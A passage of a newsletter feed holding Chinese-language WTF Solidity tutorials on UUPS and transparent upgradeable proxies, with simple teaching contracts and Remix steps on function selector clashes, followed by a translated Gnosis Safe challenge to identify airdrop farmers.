blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-uups" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">UUPS合约</h2><p>首先我们要复习一下<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/23_Delegatecall/readme.md">WTF Solidity极简教程第23讲：Delegatecall</a>。如果用户A通过合约B（代理合约）去<code>delegatecall</code>合约C（逻辑合约），语境仍是合约B的语境，<code>msg.sender</code>仍是用户A而不是合约B。因此，UUPS合约可以将升级函数放在逻辑合约中，并检查调用者是否为管理员。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/94a99b1c516140ed7f91145deafe4d02b89ad24d09d48a0dd3c162546937c060.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-uups" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">UUPS的代理合约</h3><p>UUPS的代理合约看起来像是个不可升级的代理合约，非常简单，因为升级函数被放在了逻辑合约中。它包含<code>3</code>个变量：</p><ul><li><p><code>implementation</code>：逻辑合约地址。</p></li><li><p><code>admin</code>：admin地址。</p></li><li><p><code>words</code>：字符串，可以通过逻辑合约的函数改变。</p></li></ul><p>它包含<code>2</code>个函数</p><ul><li><p>构造函数：初始化admin和逻辑合约地址。</p></li><li><p><code>fallback()</code>：回调函数，将调用委托给逻辑合约。</p></li></ul><pre data-type="codeBlock" text="contract UUPSProxy {
    address public implementation; // 逻辑合约地址
    address public admin; // admin地址
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 构造函数，初始化admin和逻辑合约地址
    constructor(address _implementation){
        admin = msg.sender;
        implementation = _implementation;
    }

    // fallback函数，将调用委托给逻辑合约
    fallback() external payable {
        (bool success, bytes memory data) = implementation.delegatecall(msg.data);
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">UUPSProxy</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> implementation; <span class="hljs-comment">// 逻辑合约地址</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> admin; <span class="hljs-comment">// admin地址</span>
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> words; <span class="hljs-comment">// 字符串，可以通过逻辑合约的函数改变</span>

    <span class="hljs-comment">// 构造函数，初始化admin和逻辑合约地址</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _implementation</span>)</span>{
        admin <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
        implementation <span class="hljs-operator">=</span> _implementation;
    }

    <span class="hljs-comment">// fallback函数，将调用委托给逻辑合约</span>
    <span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        (<span class="hljs-keyword">bool</span> success, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data) <span class="hljs-operator">=</span> implementation.<span class="hljs-built_in">delegatecall</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">data</span>);
    }
}
</code></pre><h3 id="h-uups" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">UUPS的逻辑合约</h3><p>UUPS的逻辑合约与<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/47_Upgrade/readme.md">第47讲</a>中的不同是多了个升级函数。UUPS逻辑合约包含<code>3</code>个状态变量，与保持代理合约一致，防止插槽冲突。它包含<code>2</code>个</p><ul><li><p><code>upgrade()</code>：升级函数，将改变逻辑合约地址<code>implementation</code>，只能由<code>admin</code>调用。</p></li><li><p><code>foo()</code>：旧UUPS逻辑合约会将<code>words</code>的值改为<code>&quot;old&quot;</code>，新的会改为<code>&quot;new&quot;</code>。</p></li></ul><pre data-type="codeBlock" text="// UUPS逻辑合约（升级函数写在逻辑合约内）
contract UUPS1{
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 改变proxy中状态变量，选择器： 0xc2985578
    function foo() public{
        words = &quot;old&quot;;
    }

    // 升级函数，改变逻辑合约地址，只能由admin调用。选择器：0x0900f010
    // UUPS中，逻辑函数中必须包含升级函数，不然就不能再升级了。
    function upgrade(address newImplementation) external {
        require(msg.sender == admin);
        implementation = newImplementation;
    }
}

// 新的UUPS逻辑合约
contract UUPS2{
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 改变proxy中状态变量，选择器： 0xc2985578
    function foo() public{
        words = &quot;new&quot;;
    }

    // 升级函数，改变逻辑合约地址，只能由admin调用。选择器：0x0900f010
    // UUPS中，逻辑函数中必须包含升级函数，不然就不能再升级了。
    function upgrade(address newImplementation) external {
        require(msg.sender == admin);
        implementation = newImplementation;
    }
}
"><code><span class="hljs-comment">// UUPS逻辑合约（升级函数写在逻辑合约内）</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">UUPS1</span></span>{
    <span class="hljs-comment">// 状态变量和proxy合约一致，防止插槽冲突</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> implementation; 
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> admin; 
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> words; <span class="hljs-comment">// 字符串，可以通过逻辑合约的函数改变</span>

    <span class="hljs-comment">// 改变proxy中状态变量，选择器： 0xc2985578</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">foo</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span></span>{
        words <span class="hljs-operator">=</span> <span class="hljs-string">"old"</span>;
    }

    <span class="hljs-comment">// 升级函数，改变逻辑合约地址，只能由admin调用。选择器：0x0900f010</span>
    <span class="hljs-comment">// UUPS中，逻辑函数中必须包含升级函数，不然就不能再升级了。</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">upgrade</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> newImplementation</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> admin);
        implementation <span class="hljs-operator">=</span> newImplementation;
    }
}

<span class="hljs-comment">// 新的UUPS逻辑合约</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">UUPS2</span></span>{
    <span class="hljs-comment">// 状态变量和proxy合约一致，防止插槽冲突</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> implementation; 
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> admin; 
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> words; <span class="hljs-comment">// 字符串，可以通过逻辑合约的函数改变</span>

    <span class="hljs-comment">// 改变proxy中状态变量，选择器： 0xc2985578</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">foo</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span></span>{
        words <span class="hljs-operator">=</span> <span class="hljs-string">"new"</span>;
    }

    <span class="hljs-comment">// 升级函数，改变逻辑合约地址，只能由admin调用。选择器：0x0900f010</span>
    <span class="hljs-comment">// UUPS中，逻辑函数中必须包含升级函数，不然就不能再升级了。</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">upgrade</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> newImplementation</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> admin);
        implementation <span class="hljs-operator">=</span> newImplementation;
    }
}
</code></pre><h2 id="h-remix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>Remix</code>实现</h2><ol><li><p>部署UUPS新旧逻辑合约<code>UUPS1</code>和<code>UUPS2</code>。</p></li><li><p>部署UUPS代理合约<code>UUPSProxy</code>，将<code>implementation</code>地址指向把旧逻辑合约<code>UUPS1</code>。</p></li><li><p>利用选择器<code>0xc2985578</code>，在代理合约中调用旧逻辑合约<code>UUPS1</code>的<code>foo()</code>函数，将<code>words</code>的值改为<code>&quot;old&quot;</code>。</p></li><li><p>利用在线ABI编码器(HashEx)[<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://abi.hashex.org/">https://abi.hashex.org/</a>]获得二进制编码，调用升级函数<code>upgrade()</code>，将<code>implementation</code>地址指向新逻辑合约<code>UUPS2</code>。</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8ac74488f33c4484aa2cd1ff407f2f1eda6bbff90c19b1185ddf70d1b2708017.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>5. 利用选择器<code>0xc2985578</code>，在代理合约中调用新逻辑合约<code>UUPS2</code>的<code>foo()</code>函数，将<code>words</code>的值改为<code>&quot;new&quot;</code>。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>这一讲，我们介绍了代理合约“选择器冲突”的另一个解决方案：UUPS。与透明代理不同，UUPS将升级函数放在了逻辑合约中，从而使得&quot;选择器冲突&quot;不能通过编译。相比透明代理，UUPS更复杂，但是也更省gas。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity极简入门: 48. 透明代理]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-48</link>
            <guid>5qw7DaREZjpyxwxsayZ2</guid>
            <pubDate>Fri, 23 Sep 2022 05:57:50 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们将介绍代理合约的选择器冲突（Selector Clash），以及这一问题的解决方案：透明代理（Transparent Proxy）。教学代码由OpenZepplin的TransparentUpgradeableProxy简化而成，不应用于生产。选择器冲突智能合约中，函数选择器（selector）是函数签名的哈希的前4个字节。例如mint(address account)的选择器为bytes4(keccak256("mint(address)"))，也就是0x6a627842。更多关于选择器的内容见WTF Solidity极简教程第29讲：函数选择器 由于函数选择器仅有4个字节，范围很小，因此两个不同的函数可能会有相同的选择器，例...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们将介绍代理合约的选择器冲突（Selector Clash），以及这一问题的解决方案：透明代理（Transparent Proxy）。教学代码由<code>OpenZepplin</code>的<code>TransparentUpgradeableProxy</code>简化而成，不应用于生产。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">选择器冲突</h2><p>智能合约中，函数选择器（selector）是函数签名的哈希的前4个字节。例如<code>mint(address account)</code>的选择器为<code>bytes4(keccak256(&quot;mint(address)&quot;))</code>，也就是<code>0x6a627842</code>。更多关于选择器的内容见<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/29_Selector/readme.md">WTF Solidity极简教程第29讲：函数选择器</a></p><p>由于函数选择器仅有4个字节，范围很小，因此两个不同的函数可能会有相同的选择器，例如下面两个函数：</p><pre data-type="codeBlock" text="// 选择器冲突的例子
contract Foo {
    function burn(uint256) external {}
    function collate_propagate_storage(bytes16) external {}
}
"><code><span class="hljs-comment">// 选择器冲突的例子</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Foo</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">burn</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{}
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">collate_propagate_storage</span>(<span class="hljs-params"><span class="hljs-keyword">bytes16</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{}
}
</code></pre><p>示例中，函数<code>burn()</code>和<code>collate_propagate_storage()</code>的选择器都为<code>0x42966c68</code>，是一样的，这种情况被称为“选择器冲突”。在这种情况下，<code>EVM</code>无法通过函数选择器分辨用户调用哪个函数，因此该合约无法通过编译。</p><p>由于代理合约和逻辑合约是两个合约，就算他们之间存在“选择器冲突”也可以正常编译，这可能会导致很严重的安全事故。举个例子，如果逻辑合约的<code>a</code>函数和代理合约的升级函数的选择器相同，那么管理人就会在调用<code>a</code>函数的时候，将代理合约升级成一个黑洞合约，后果不堪设想。</p><p>目前，有两个可升级合约标准解决了这一问题：透明代理<code>Transparent Proxy</code>和通用可升级代理<code>UUPS</code>。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">透明代理</h2><p>透明代理的逻辑非常简单：管理员可能会因为“函数选择器冲突”，在调用逻辑合约的函数时，误调用代理合约的可升级函数。那么限制管理员的权限，不让他调用任何逻辑合约的函数，就能解决冲突：</p><ul><li><p>管理员变为工具人，仅能调用代理合约的可升级函数对合约升级，不能通过回调函数调用逻辑合约。</p></li><li><p>其它用户不能调用可升级函数，但是可以调用逻辑合约的函数。</p></li></ul><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">代理合约</h3><p>这里的代理合约和<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/47_Upgrade/readme.md">第47讲</a>的非常相近，只是<code>fallback()</code>函数限制了管理员地址的调用。</p><p>它包含<code>3</code>个变量：</p><ul><li><p><code>implementation</code>：逻辑合约地址。</p></li><li><p><code>admin</code>：admin地址。</p></li><li><p><code>words</code>：字符串，可以通过逻辑合约的函数改变。</p></li></ul><p>它包含<code>3</code>个函数</p><ul><li><p>构造函数：初始化admin和逻辑合约地址。</p></li><li><p><code>fallback()</code>：回调函数，将调用委托给逻辑合约，不能由<code>admin</code>调用。</p></li><li><p><code>upgrade()</code>：升级函数，改变逻辑合约地址，只能由<code>admin</code>调用。</p></li></ul><pre data-type="codeBlock" text="// 透明可升级合约的教学代码，不要用于生产。
contract TransparentProxy {
    address implementation; // logic合约地址
    address admin; // 管理员
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 构造函数，初始化admin和逻辑合约地址
    constructor(address _implementation){
        admin = msg.sender;
        implementation = _implementation;
    }

    // fallback函数，将调用委托给逻辑合约
    // 不能被admin调用，避免选择器冲突引发意外
    fallback() external payable {
        require(msg.sender != admin);
        (bool success, bytes memory data) = implementation.delegatecall(msg.data);
    }

    // 升级函数，改变逻辑合约地址，只能由admin调用
    function upgrade(address newImplementation) external {
        if (msg.sender != admin) revert();
        implementation = newImplementation;
    }
}
"><code><span class="hljs-comment">// 透明可升级合约的教学代码，不要用于生产。</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">TransparentProxy</span> </span>{
    <span class="hljs-keyword">address</span> implementation; <span class="hljs-comment">// logic合约地址</span>
    <span class="hljs-keyword">address</span> admin; <span class="hljs-comment">// 管理员</span>
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> words; <span class="hljs-comment">// 字符串，可以通过逻辑合约的函数改变</span>

    <span class="hljs-comment">// 构造函数，初始化admin和逻辑合约地址</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _implementation</span>)</span>{
        admin <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
        implementation <span class="hljs-operator">=</span> _implementation;
    }

    <span class="hljs-comment">// fallback函数，将调用委托给逻辑合约</span>
    <span class="hljs-comment">// 不能被admin调用，避免选择器冲突引发意外</span>
    <span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> admin);
        (<span class="hljs-keyword">bool</span> success, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data) <span class="hljs-operator">=</span> implementation.<span class="hljs-built_in">delegatecall</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">data</span>);
    }

    <span class="hljs-comment">// 升级函数，改变逻辑合约地址，只能由admin调用</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">upgrade</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> newImplementation</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> admin) <span class="hljs-keyword">revert</span>();
        implementation <span class="hljs-operator">=</span> newImplementation;
    }
}
</code></pre><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">逻辑合约</h3><p>这里的新、旧逻辑合约与<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/47_Upgrade/readme.md">第47讲</a>一样。逻辑合约包含<code>3</code>个状态变量，与保持代理合约一致，防止插槽冲突；包含一个函数<code>foo()</code>，旧逻辑合约会将<code>words</code>的值改为<code>&quot;old&quot;</code>，新的会改为<code>&quot;new&quot;</code>。</p><pre data-type="codeBlock" text="// 旧逻辑合约
contract Logic1 {
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 改变proxy中状态变量，选择器： 0xc2985578
    function foo() public{
        words = &quot;old&quot;;
    }
}

// 新逻辑合约
contract Logic2 {
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 改变proxy中状态变量，选择器：0xc2985578
    function foo() public{
        words = &quot;new&quot;;
    }
}
"><code><span class="hljs-comment">// 旧逻辑合约</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Logic1</span> </span>{
    <span class="hljs-comment">// 状态变量和proxy合约一致，防止插槽冲突</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> implementation; 
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> admin; 
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> words; <span class="hljs-comment">// 字符串，可以通过逻辑合约的函数改变</span>

    <span class="hljs-comment">// 改变proxy中状态变量，选择器： 0xc2985578</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">foo</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span></span>{
        words <span class="hljs-operator">=</span> <span class="hljs-string">"old"</span>;
    }
}

<span class="hljs-comment">// 新逻辑合约</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Logic2</span> </span>{
    <span class="hljs-comment">// 状态变量和proxy合约一致，防止插槽冲突</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> implementation; 
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> admin; 
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> words; <span class="hljs-comment">// 字符串，可以通过逻辑合约的函数改变</span>

    <span class="hljs-comment">// 改变proxy中状态变量，选择器：0xc2985578</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">foo</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span></span>{
        words <span class="hljs-operator">=</span> <span class="hljs-string">"new"</span>;
    }
}
</code></pre><h2 id="h-remix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>Remix</code>实现</h2><ol><li><p>部署新旧逻辑合约<code>Logic1</code>和<code>Logic2</code>。</p></li><li><p>部署透明代理合约<code>TranparentProxy</code>，将<code>implementation</code>地址指向把旧逻辑合约。</p></li><li><p>利用选择器<code>0xc2985578</code>，在代理合约中调用旧逻辑合约<code>Logic1</code>的<code>foo()</code>函数。调用将失败，因为管理员不能调用逻辑合约。</p></li><li><p>切换新钱包，利用选择器<code>0xc2985578</code>，在代理合约中调用旧逻辑合约<code>Logic1</code>的<code>foo()</code>函数，将<code>words</code>的值改为<code>&quot;old&quot;</code>，调用将成功。</p></li><li><p>切换回管理员钱包，调用<code>upgrade()</code>，将<code>implementation</code>地址指向新逻辑合约<code>Logic2</code>。</p></li><li><p>切换新钱包，利用选择器<code>0xc2985578</code>，在代理合约中调用新逻辑合约<code>Logic2</code>的<code>foo()</code>函数，将<code>words</code>的值改为<code>&quot;new&quot;</code>。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>这一讲，我们介绍了代理合约中的“选择器冲突”，以及如何利用透明代理避免这个问题。透明代理的逻辑简单，通过限制管理员调用逻辑合约解决“选择器冲突”问题。它也有缺点，每次用户调用函数时，都会多一步是否为管理员的检查，消耗更多gas。但瑕不掩瑜，透明代理仍是大多数项目方选择的方案。</p><p>下一讲，我们会介绍省gas但是也更加复杂的通用可升级代理<code>UUPS</code>。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Gnosis Safe社区挑战：识别空投猎人]]></title>
            <link>https://paragraph.com/@wtfacademy/gnosis-safe</link>
            <guid>VEbTIHlBOpsmDGdw7YVr</guid>
            <pubDate>Thu, 08 Sep 2022 14:22:29 GMT</pubDate>
            <description><![CDATA[我受Safe团队委托，将社区挑战原文翻译成中文，方便中文用户阅读。 作者：tschubotz) 鉴于即将推出的 SafeDAO，我们最近为用户重新设计了 SAFE 分发版 。我们降低了一些初始分配标准，为了让更广泛的成员获得SAFE代币。 这一点可能会给空投猎人机会，因为早在 GnosisDAO 的 GIP-29（时间 2022.02.16）就公布将发行SAFE 代币，并最终通过治理流程（时间 2022.04.15）。目前在Twitter、Discord 和 Safe 论坛上都有关于潜在空投猎人炫耀的报道。 我们希望社区能帮助识别仅为获得Safe代币空投而被创建的Safe钱包。如何贡献？要报告一组Safe钱包，请在分配报告repo中使用模版创建issue。报告将按照先到先得的原则进行审核。在审查时，报告必须包含至少 10 个仍位于safe_user_allocations_reworked.csv中的地址。必须很好地易懂地解释为什么报告的Safe钱包是空投猎人的，包含识别方法和推理。可能会将合法使用者排除在空投之外的报告将不被采纳。如果不能明确判断，我们默认“这是合法使用（钱包）...]]></description>
            <content:encoded><![CDATA[<p>我受Safe团队委托，将社区挑战原文翻译成中文，方便中文用户阅读。</p><p>作者：tschubotz)</p><p>鉴于即将推出的 SafeDAO，我们最近<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://forum.gnosis-safe.io/t/new-proposal-reworked-safe-distribution-for-users/594">为用户重新设计了 SAFE 分发版 </a>。我们降低了一些初始分配标准，为了让更广泛的成员获得SAFE代币。</p><p>这一点可能会给空投猎人机会，因为早在<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://forum.gnosis.io/t/gip-29-spin-off-safedao-and-launch-safe-token/3476"> GnosisDAO 的 GIP-29</a>（时间 2022.02.16）就公布将发行SAFE 代币，并最终<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://snapshot.org/#/gnosis.eth/proposal/0x5187694133abfb3d140acce3b9ac2ecf033c657c816a18dc25d2e0c1a2a29ec7">通过治理流程</a>（时间 2022.04.15）。目前在Twitter、Discord 和 Safe 论坛上都有关于潜在空投猎人炫耀的报道。</p><p>我们希望社区能帮助识别仅为获得Safe代币空投而被创建的Safe钱包。</p><h1 id="h-" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">如何贡献？</h1><p>要报告一组Safe钱包，请在<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/safe-global/safe-user-allocation-reports">分配报告repo</a>中使用模版<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/safe-global/safe-user-allocation-reports/issues/new">创建issue</a>。</p><ul><li><p>报告将按照先到先得的原则进行审核。</p></li><li><p>在审查时，报告必须包含至少 10 个仍位于<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/safe-global/safe-user-allocation-reports/blob/main/safe_user_allocations_reworked.csv">safe_user_allocations_reworked.csv</a>中的地址。</p></li><li><p>必须很好地易懂地解释为什么报告的Safe钱包是空投猎人的，包含识别方法和推理。</p></li><li><p>可能会将合法使用者排除在空投之外的报告将不被采纳。如果不能明确判断，我们默认“这是合法使用（钱包）”。</p></li><li><p>当主网Safe钱包被成功识别为空投猎人时，提交者将获得 25% “被拯救”的Safe代币，剩余的 75% 将重新分配给其余符合条件的Safe钱包。</p></li><li><p>报告必须在 2022 年 9 月 19 日 00:00:00 CEST 之前提交给 Github。</p></li><li><p>报告接受/拒绝由Safe团队自行决定。</p></li></ul><p>English Version:</p><div data-type="embedly" src="https://forum.gnosis-safe.io/t/community-challenge-identify-airdrop-farmers/847" data="{&quot;provider_url&quot;:&quot;https://forum.safe.global&quot;,&quot;description&quot;:&quot;In light of the upcoming SafeDAO launch, we have recently reworked the SAFE distribution for users. In order to include a broad part of the community, we have lowered some of the initial distribution criteria.&quot;,&quot;title&quot;:&quot;Community Challenge: Identify Airdrop Farmers&quot;,&quot;mean_alpha&quot;:191.25,&quot;author_name&quot;:&quot;tschubotz&quot;,&quot;thumbnail_width&quot;:2757,&quot;url&quot;:&quot;https://forum.safe.global/t/community-challenge-identify-airdrop-farmers/847&quot;,&quot;thumbnail_url&quot;:&quot;https://storage.googleapis.com/papyrus_images/59b4401ffed8a4e52cbbaad0ab243ee19e300376084a1cd1f779ef775cba354e.png&quot;,&quot;author_url&quot;:&quot;https://forum.safe.global/u/tschubotz&quot;,&quot;version&quot;:&quot;1.0&quot;,&quot;provider_name&quot;:&quot;Safe Community Forum&quot;,&quot;type&quot;:&quot;link&quot;,&quot;thumbnail_height&quot;:2757,&quot;image&quot;:{&quot;img&quot;:{&quot;width&quot;:2757,&quot;height&quot;:2757,&quot;src&quot;:&quot;https://storage.googleapis.com/papyrus_images/59b4401ffed8a4e52cbbaad0ab243ee19e300376084a1cd1f779ef775cba354e.png&quot;}}}" format="small"><link rel="preload" as="image" href="https://storage.googleapis.com/papyrus_images/59b4401ffed8a4e52cbbaad0ab243ee19e300376084a1cd1f779ef775cba354e.png"/><div class="react-component embed my-5" data-drag-handle="true" data-node-view-wrapper="" style="white-space:normal"><a class="link-embed-link" href="https://forum.gnosis-safe.io/t/community-challenge-identify-airdrop-farmers/847" target="_blank" rel="noreferrer"><div class="link-embed"><div class="flex-1"><div><h2>Community Challenge: Identify Airdrop Farmers</h2><p>In light of the upcoming SafeDAO launch, we have recently reworked the SAFE distribution for users. In order to include a broad part of the community, we have lowered some of the initial distribution criteria.</p></div><span><svg 